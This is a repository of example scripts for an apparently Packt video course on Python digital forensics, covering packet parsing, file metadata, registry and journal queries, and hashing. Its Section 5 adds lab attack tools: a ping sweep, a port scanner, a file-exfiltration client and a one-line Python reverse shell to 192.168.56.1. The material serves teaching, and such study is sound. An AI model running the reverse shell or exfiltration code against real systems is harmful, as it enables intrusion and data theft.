├── LICENSE ├── README.md ├── Section 1 ├── impacket_demo.py └── scapy_demo.py ├── Section 2 ├── directory_scan.py ├── file_properties.py └── registry.py ├── Section 3 ├── access_journal.py ├── hash.py ├── parse_journal.py ├── recurs_file.py └── recursive_dir_scan.py └── Section 5 ├── exfiltrate.py ├── ping_sweep.py ├── port_scanner.py └── reverse_shell.py /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2018 Packt 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | # Python Digital Forensics [Video] 5 | This is the code repository for [Python Digital Forensics [Video]](https://www.packtpub.com/web-development/python-digital-forensics-video?utm_source=github&utm_medium=repository&utm_campaign=9781787126664), published by [Packt](https://www.packtpub.com/?utm_source=github). It contains all the supporting project files necessary to work through the video course from start to finish. 6 | ## About the Video Course 7 | Python is uniquely positioned as a programming language to perform cyber investigations and perform forensics analysis. Unleash the power of Python by using popular libraries and Python tools to help you create efficient and thorough forensics investigations. This course will walk you through digital forensics on network traffic, host analysis, and memory analysis. 8 | 9 | The course starts with network forensics, an important aspect of any investigation. You will learn to read, sort, and sniff raw packets and also analyze network traffic. These techniques will help you drive your host analysis. You will learn about tools you'll need to perform a complete investigation with the utmost efficiency in both Windows and GNU/Linux environments with Python. Next, you will learn more advanced topics such as viewing data in PE and ELF binaries. It's vital to analyze volatile memory during an investigation as it provides details about what is actually running on a given system. So, you will learn the best tools to obtain and analyze volatile memory images. Finally, you will learn how to use Python in order to think like an attacker. You will complete enumeration, exploitation, and data exfiltration. 10 | 11 | By the end of the course, you will be able to make the most of Python processes and tackle varied, challenging, forensics-related problems. So, grab this course and think like an attacker! 12 | 13 |

What You Will Learn

14 |
15 |
22 | 23 | ## Instructions and Navigation 24 | ### Assumed Knowledge 25 | To fully benefit from the coverage included in this course, you will need:
26 | Prior programming experience is beneficial but not required. 27 | ### Technical Requirements 28 | This course has the following software requirements:
29 | A system with Python IDE installed. 30 | 31 | ## Related Products 32 | * [Python for the .NET Developer [Video]](https://www.packtpub.com/application-development/python-net-developer-video?utm_source=github&utm_medium=repository&utm_campaign=9781789807615) 33 | 34 | * [Reactive Programming in Python [Video]](https://www.packtpub.com/application-development/reactive-programming-python-video?utm_source=github&utm_medium=repository&utm_campaign=9781786460332) 35 | 36 | * [Hands-on Supervised Machine Learning with Python [Video]](https://www.packtpub.com/big-data-and-business-intelligence/hands-supervised-machine-learning-python-video?utm_source=github&utm_medium=repository&utm_campaign=9781789347654) 37 | 38 | -------------------------------------------------------------------------------- /Section 1/impacket_demo.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python2.7 2 | 3 | import sys 4 | from pcapy import open_offline, open_live 5 | from impacket.ImpactDecoder import EthDecoder 6 | 7 | 8 | class ImpacketDemo(object): 9 | def __init__(self): 10 | super(ImpacketDemo, self).__init__() 11 | pass 12 | 13 | def read_packet(self, hdr, data): 14 | decoder = EthDecoder() 15 | ether = decoder.decode(data) 16 | ip = ether.child() 17 | tcp = ip.child() 18 | 19 | try: 20 | print ip.get_ip_src() 21 | print tcp.get_th_sport() 22 | print ip.get_ip_dst() 23 | print tcp.get_th_dport() 24 | 25 | except: 26 | print "error" 27 | 28 | def main(self, pcap_file): 29 | pcap = open_offline(pcap_file) 30 | pcap.loop(0, self.read_packet) 31 | 32 | 33 | if __name__ == '__main__': 34 | if len(sys.argv) <= 1: 35 | sys.exit("Usage: %s " % sys.argv[0]) 36 | 37 | demo = ImpacketDemo() 38 | demo.main(sys.argv[1]) 39 | -------------------------------------------------------------------------------- /Section 1/scapy_demo.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3 2 | 3 | 4 | import sys 5 | from scapy.all import * 6 | 7 | 8 | class scapy_demo(object): 9 | """docstring for scapy_demo""" 10 | 11 | def __init__(self): 12 | super(scapy_demo, self).__init__() 13 | pass 14 | 15 | def main(self, pcap_file): 16 | pcap = rdpcap(pcap_file) 17 | print(pcap.sessions()) 18 | 19 | 20 | if __name__ == '__main__': 21 | if len(sys.argv) <= 1: 22 | sys.exit("Feed me pcap!!! python3 scapy_demo ") 23 | 24 | scapy_demo = scapy_demo() 25 | scapy_demo.main(sys.argv[1]) 26 | -------------------------------------------------------------------------------- /Section 2/directory_scan.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3 2 | 3 | import os 4 | import argparse 5 | 6 | 7 | class DirectoryWalk: 8 | def __init__(self): 9 | """Here we set the global defaults""" 10 | self.path = '' 11 | 12 | @staticmethod 13 | def get_args(): 14 | parser = argparse.ArgumentParser(description="Scan all magic files") 15 | parser.add_argument("path", help="Path to folder") 16 | 17 | return parser.parse_args() 18 | 19 | def scan_path(self): 20 | with os.scandir(self.path) as iter_path: 21 | for entry in iter_path: 22 | print(entry.name) 23 | 24 | def main(self): 25 | args = self.get_args() 26 | self.path = args.path 27 | 28 | self.scan_path() 29 | 30 | 31 | if __name__ == '__main__': 32 | walk_instance = DirectoryWalk() 33 | walk_instance.main() 34 | -------------------------------------------------------------------------------- /Section 2/file_properties.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3 2 | 3 | import os 4 | import argparse 5 | from datetime import date 6 | import stat 7 | 8 | 9 | class FileScan: 10 | def __init__(self): 11 | self.path = '' 12 | 13 | @staticmethod 14 | def get_args(): 15 | """Take a look at those args.""" 16 | parser = argparse.ArgumentParser(description='Utility designed to \ 17 | scan all files in a path') 18 | parser.add_argument("path", help="Path to file you want to scan") 19 | 20 | return parser.parse_args() 21 | 22 | def scan_file(self): 23 | file_info = os.stat(self.path) 24 | print("Perms") 25 | print(stat.filemode(file_info.st_mode)) 26 | print("Timestamps") 27 | print("Access {0}".format(date.fromtimestamp(file_info.st_atime))) 28 | print("Modify {}".format(date.fromtimestamp(file_info.st_mtime))) 29 | print("Create {}".format(date.fromtimestamp(file_info.st_ctime))) 30 | 31 | def main(self): 32 | args = self.get_args() 33 | self.path = args.path 34 | 35 | self.scan_file() 36 | 37 | 38 | if __name__ == '__main__': 39 | file_instance = FileScan() 40 | file_instance.main() 41 | -------------------------------------------------------------------------------- /Section 2/registry.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3 2 | 3 | # SOFTWARE\Microsoft\Windows\CurrentVersion\Run 4 | # Wow6432Node\Microsoft\Windows\CurrentVersion\Run 5 | # Microsoft\Windows NT\CurrentVersion\Winlogon\System 6 | 7 | # HKEY_LOCAL_MACHINE 8 | 9 | import winreg 10 | import argparse 11 | 12 | 13 | class RegDemo: 14 | def __init__(self): 15 | pass 16 | 17 | @staticmethod 18 | def get_args(): 19 | """Take a++ look at those args.""" 20 | parser = argparse.ArgumentParser(description='Query the registry') 21 | parser.add_argument("-e", "--enum", help="Enumerate all keys") 22 | parser.add_argument("-ev", "--enum-val", help="Enumerate all values") 23 | parser.add_argument("-q", "--query", nargs=2, help="Query registry value") 24 | 25 | return parser.parse_args() 26 | 27 | def enum(self, hive, reg_path): 28 | try: 29 | registry_key = winreg.OpenKey( 30 | hive, reg_path, 0, winreg.KEY_READ) 31 | i = 0 32 | while True: 33 | value = winreg.EnumKey(registry_key, i) 34 | print(value) 35 | i += 1 36 | except WindowsError as e: 37 | print("Error Loading key\n{}".format(e)) 38 | 39 | finally: 40 | winreg.CloseKey(registry_key) 41 | 42 | def enum_val(self, hive, reg_path): 43 | try: 44 | registry_key = winreg.OpenKey( 45 | hive, reg_path, 0, winreg.KEY_READ) 46 | i = 0 47 | while True: 48 | value = winreg.EnumValue(registry_key, i) 49 | print(value) 50 | i += 1 51 | except WindowsError as e: 52 | print("Error Loading key\n{}".format(e)) 53 | 54 | finally: 55 | winreg.CloseKey(registry_key) 56 | 57 | def query(self, hive, reg_path, value_name): 58 | try: 59 | registry_key = winreg.OpenKey( 60 | hive, reg_path, 0, winreg.KEY_READ) 61 | 62 | value = winreg.QueryValueEx(registry_key, value_name)[1] 63 | print(value) 64 | 65 | except WindowsError as e: 66 | print("Error Loading key\n{}".format(e)) 67 | 68 | finally: 69 | winreg.CloseKey(registry_key) 70 | 71 | def main(self): 72 | args = self.get_args() 73 | hive = winreg.HKEY_CURRENT_USER 74 | 75 | if args.enum: 76 | self.enum(hive, args.enum) 77 | if args.enum: 78 | self.enum_val(hive, args.enum_val) 79 | if args.query: 80 | self.query(hive, args.query[0], args.query[1]) 81 | 82 | 83 | if __name__ == '__main__': 84 | reg_instance = RegDemo() 85 | reg_instance.main() 86 | -------------------------------------------------------------------------------- /Section 3/access_journal.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3 2 | 3 | 4 | from systemd import journal 5 | 6 | 7 | class LogParse: 8 | def __init__(self): 9 | self.j = journal 10 | 11 | def main(self): 12 | self.j.send("Hello World! Again!") 13 | self.j.send('Hello, again, world', FIELD2='Greetings!', FIELD3='Guten tag') 14 | self.j.send('Binary message', BINARY=b'\xde\xad\xbe\xef') 15 | 16 | 17 | 18 | if __name__ == '__main__': 19 | log_instance = LogParse() 20 | log_instance.main() 21 | -------------------------------------------------------------------------------- /Section 3/hash.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3 2 | 3 | 4 | import os 5 | import argparse 6 | from termcolor import cprint 7 | import hashlib 8 | 9 | 10 | class HashFile: 11 | def __init__(self): 12 | self.path = None 13 | 14 | @staticmethod 15 | def get_args(): 16 | parser = argparse.ArgumentParser(description="Scan all magic files") 17 | parser.add_argument("path", help="Path to top level directory") 18 | parser.add_argument("-c", "--compare", help="Provide a hash or hash" + 19 | "file to compare") 20 | 21 | return parser.parse_args() 22 | 23 | def open_hash(self, hash_path): 24 | hash = hash_path 25 | if os.path.isfile(hash_path): 26 | with open(hash_path, 'r') as f: 27 | hash = f.read().splitlines()[0] 28 | 29 | return hash 30 | 31 | def compare_hash(self, old, new): 32 | if old == new: 33 | cprint("> Computation complete {}".format(old), 'green') 34 | else: 35 | cprint("> DIGEST MISMATCH\nold {0}\nnew {1}".format( 36 | old, new), 'red') 37 | 38 | def hash_file(self, file): 39 | BUFF_SIZE = 65536 40 | digest = hashlib.sha1() 41 | 42 | cprint("> Computing message digest of image", 'blue') 43 | with open(file, 'rb') as f: 44 | while True: 45 | data = f.read(BUFF_SIZE) 46 | if not data: 47 | break 48 | digest.update(data) 49 | hash = digest.hexdigest() 50 | 51 | return hash 52 | 53 | def main(self): 54 | args = self.get_args() 55 | self.path = args.path 56 | 57 | hash = self.hash_file(self.path) 58 | 59 | if args.compare: 60 | old_hash = self.open_hash(args.compare) 61 | self.compare_hash(old_hash, hash) 62 | else: 63 | cprint("> Computation Complete \n{}".format(hash), 'green') 64 | 65 | 66 | if __name__ == '__main__': 67 | hash_instance = HashFile() 68 | hash_instance.main() 69 | -------------------------------------------------------------------------------- /Section 3/parse_journal.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3 2 | 3 | # https://github.com/systemd/python-systemd 4 | 5 | from systemd import journal 6 | 7 | 8 | class LogParse: 9 | def __init__(self): 10 | self.journal_reader = journal.Reader() 11 | 12 | def main(self): 13 | self.journal_reader.this_boot() 14 | for event in self.journal_reader: 15 | if event['MESSAGE'] == "Hello World! Again!": 16 | print(event['MESSAGE']) 17 | 18 | 19 | if __name__ == '__main__': 20 | log_instance = LogParse() 21 | log_instance.main() 22 | -------------------------------------------------------------------------------- /Section 3/recurs_file.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3 2 | 3 | # https://eli.thegreenplace.net/2011/12/27/python-threads-communication-and-stopping 4 | 5 | import os 6 | import argparse 7 | import threading 8 | import queue 9 | 10 | 11 | class RecursiveProbe(threading.Thread): 12 | def __init__(self, dir_q, result_q): 13 | super(RecursiveProbe, self).__init__() 14 | self.dir_q = dir_q 15 | self.result_q = result_q 16 | self.stoprequest = threading.Event() 17 | 18 | def run(self): 19 | while not self.stoprequest.isSet(): 20 | try: 21 | dirname = self.dir_q.get(True, 0.05) 22 | filenames = list(self._files_in_dir(dirname)) 23 | self.result_q.put((self.name, dirname, filenames)) 24 | 25 | except queue.Empty: 26 | continue 27 | 28 | def join(self, timeout=None): 29 | self.stoprequest.set() 30 | super(RecursiveProbe, self).join(timeout) 31 | 32 | def _files_in_dir(self, dirname): 33 | """ Given a directory name, yields the names of all files (not dirs) 34 | contained in this directory and its sub-directories. 35 | """ 36 | for path, dirs, files in os.walk(dirname): 37 | for file in files: 38 | # Gives full file path 39 | file_info = os.stat(path + '/' + file) 40 | if oct(file_info.st_mode) == '0o100777': 41 | yield os.path.join(path, file) 42 | 43 | 44 | class DirectoryWalk: 45 | def __init__(self): 46 | self.path = '.' 47 | 48 | @staticmethod 49 | def get_args(): 50 | parser = argparse.ArgumentParser(description="Scan all magic files") 51 | parser.add_argument("path", help="Path to top level directory") 52 | 53 | return parser.parse_args() 54 | 55 | def main(self): 56 | args = self.get_args() 57 | self.path = args.path 58 | 59 | # Create a single input and a single output queue for all threads. 60 | dir_q = queue.Queue() 61 | result_q = queue.Queue() 62 | 63 | # Create the "thread pool" 64 | pool = [RecursiveProbe( 65 | dir_q=dir_q, result_q=result_q) for i in range(4)] 66 | 67 | # Start all threads 68 | for thread in pool: 69 | thread.start() 70 | 71 | # Give the workers some work to do 72 | if os.path.exists(self.path): 73 | dir_q.put(self.path) 74 | 75 | # Now get all the results 76 | work_count = 1 77 | while work_count > 0: 78 | # Blocking 'get' from a Queue. 79 | result = result_q.get() 80 | print(result) 81 | print('From thread {0}: {1} files found in dir {2}'.format( 82 | result[0], len(result[2]), result[1])) 83 | 84 | work_count -= 1 85 | 86 | # Ask threads to die and wait for them to do it 87 | for thread in pool: 88 | thread.join() 89 | 90 | 91 | if __name__ == '__main__': 92 | walk_instance = DirectoryWalk() 93 | walk_instance.main() 94 | -------------------------------------------------------------------------------- /Section 3/recursive_dir_scan.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3 2 | 3 | # https://eli.thegreenplace.net/2011/12/27/python-threads-communication-and-stopping 4 | 5 | import os 6 | import argparse 7 | import threading 8 | import queue 9 | 10 | 11 | class RecursiveProbe(threading.Thread): 12 | def __init__(self, dir_q, result_q): 13 | super(RecursiveProbe, self).__init__() 14 | self.dir_q = dir_q 15 | self.result_q = result_q 16 | self.stoprequest = threading.Event() 17 | 18 | def run(self): 19 | while not self.stoprequest.isSet(): 20 | try: 21 | dirname = self.dir_q.get(True, 0.05) 22 | filenames = list(self._files_in_dir(dirname)) 23 | self.result_q.put((self.name, dirname, filenames)) 24 | 25 | except queue.Empty: 26 | continue 27 | 28 | def join(self, timeout=None): 29 | self.stoprequest.set() 30 | super(RecursiveProbe, self).join(timeout) 31 | 32 | def _files_in_dir(self, dirname): 33 | """ Given a directory name, yields the names of all files (not dirs) 34 | contained in this directory and its sub-directories. 35 | """ 36 | for path, dirs, files in os.walk(dirname): 37 | for file in files: 38 | # Gives full file path 39 | yield os.path.join(path, file) 40 | 41 | 42 | class DirectoryWalk: 43 | def __init__(self): 44 | self.path = '.' 45 | 46 | @staticmethod 47 | def get_args(): 48 | parser = argparse.ArgumentParser(description="Scan all magic files") 49 | parser.add_argument("path", help="Path to top level directory") 50 | 51 | return parser.parse_args() 52 | 53 | def main(self): 54 | args = self.get_args() 55 | self.path = args.path 56 | 57 | # Create a single input and a single output queue for all threads. 58 | dir_q = queue.Queue() 59 | result_q = queue.Queue() 60 | 61 | # Create the "thread pool" 62 | pool = [RecursiveProbe( 63 | dir_q=dir_q, result_q=result_q) for i in range(4)] 64 | 65 | # Start all threads 66 | for thread in pool: 67 | thread.start() 68 | 69 | # Give the workers some work to do 70 | if os.path.exists(self.path): 71 | dir_q.put(self.path) 72 | 73 | # Now get all the results 74 | work_count = 1 75 | while work_count > 0: 76 | # Blocking 'get' from a Queue. 77 | result = result_q.get() 78 | print(result) 79 | print('From thread {0}: {1} files found in dir {2}'.format( 80 | result[0], len(result[2]), result[1])) 81 | 82 | work_count -= 1 83 | 84 | # Ask threads to die and wait for them to do it 85 | for thread in pool: 86 | thread.join() 87 | 88 | 89 | if __name__ == '__main__': 90 | walk_instance = DirectoryWalk() 91 | walk_instance.main() 92 | -------------------------------------------------------------------------------- /Section 5/exfiltrate.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | 3 | import socket 4 | import sys 5 | 6 | 7 | class Exfil: 8 | def __init__(self): 9 | self.buffer_size = 1024 10 | 11 | def _exfil(self, ip, port, ex_file): 12 | try: 13 | sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 14 | conn = sock.connect((ip, port)) 15 | 16 | with open(ex_file, "rb") as f: 17 | file_bytes = f.read(self.buffer_size) 18 | 19 | while file_bytes: 20 | sock.send(file_bytes) 21 | file_bytes = f.read(self.buffer_size) 22 | 23 | except socket.error: 24 | sys.exit("Couldn't connect to server") 25 | 26 | finally: 27 | sock.close() 28 | 29 | def main(self): 30 | ip = sys.argv[1] 31 | port = int(sys.argv[2]) 32 | file = sys.argv[3] 33 | 34 | self._exfil(ip, port, file) 35 | 36 | 37 | if __name__ == '__main__': 38 | exfil = Exfil() 39 | exfil.main() 40 | -------------------------------------------------------------------------------- /Section 5/ping_sweep.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3 2 | 3 | import subprocess 4 | import sys 5 | 6 | 7 | class Ping: 8 | def __init__(self): 9 | self.address = '192.168.56.' 10 | 11 | def main(self): 12 | for x in range(100, 102): 13 | p = subprocess.Popen( 14 | "ping -c 1 {0}{1}".format( 15 | self.address, x), shell=True, stderr=subprocess.PIPE) 16 | 17 | while True: 18 | out = p.stderr.read(1) 19 | if not out and p.poll() is not None: 20 | break 21 | if out: 22 | sys.stdout.write(out) 23 | sys.stdout.flush() 24 | 25 | 26 | if __name__ == '__main__': 27 | ping = Ping() 28 | ping.main() 29 | -------------------------------------------------------------------------------- /Section 5/port_scanner.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3 2 | 3 | import socket 4 | import sys 5 | import argparse 6 | 7 | 8 | class PortScan: 9 | def __init__(self): 10 | self.__author__ = "kd8bny@gmail.com" 11 | 12 | @staticmethod 13 | def get_args(): 14 | parser = argparse.ArgumentParser( 15 | description="Scan top ports of a device") 16 | parser.add_argument("address", help="IP address") 17 | parser.add_argument( 18 | "-p", "--ports", nargs='*', help="Ports to scan " + 19 | "Supports values 1,2 or range 1-5") 20 | 21 | return parser.parse_args() 22 | 23 | def _scan(self, ip, ports): 24 | try: 25 | for port in ports: 26 | sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 27 | result = sock.connect_ex((ip, port)) 28 | if result == 0: 29 | print("Port {}: Open".format(port)) 30 | 31 | except KeyboardInterrupt: 32 | sys.exit("Scan terminated") 33 | 34 | except socket.error: 35 | sys.exit("Couldn't connect to server") 36 | 37 | finally: 38 | sock.close() 39 | 40 | def main(self): 41 | args = self.get_args() 42 | 43 | ports = list() 44 | if not args.ports: 45 | ports = range(1, 1025) 46 | else: 47 | for entry in args.ports: 48 | if '-' in entry: 49 | values = [int(x) for x in entry.split('-')] 50 | [ports.append(x) for x in range(values[0], values[1] + 1)] 51 | else: 52 | ports.append(int(entry)) 53 | 54 | self._scan(args.address, ports) 55 | 56 | 57 | if __name__ == '__main__': 58 | port_scan = PortScan() 59 | port_scan.main() 60 | -------------------------------------------------------------------------------- /Section 5/reverse_shell.py: -------------------------------------------------------------------------------- 1 | python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.56.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);' --------------------------------------------------------------------------------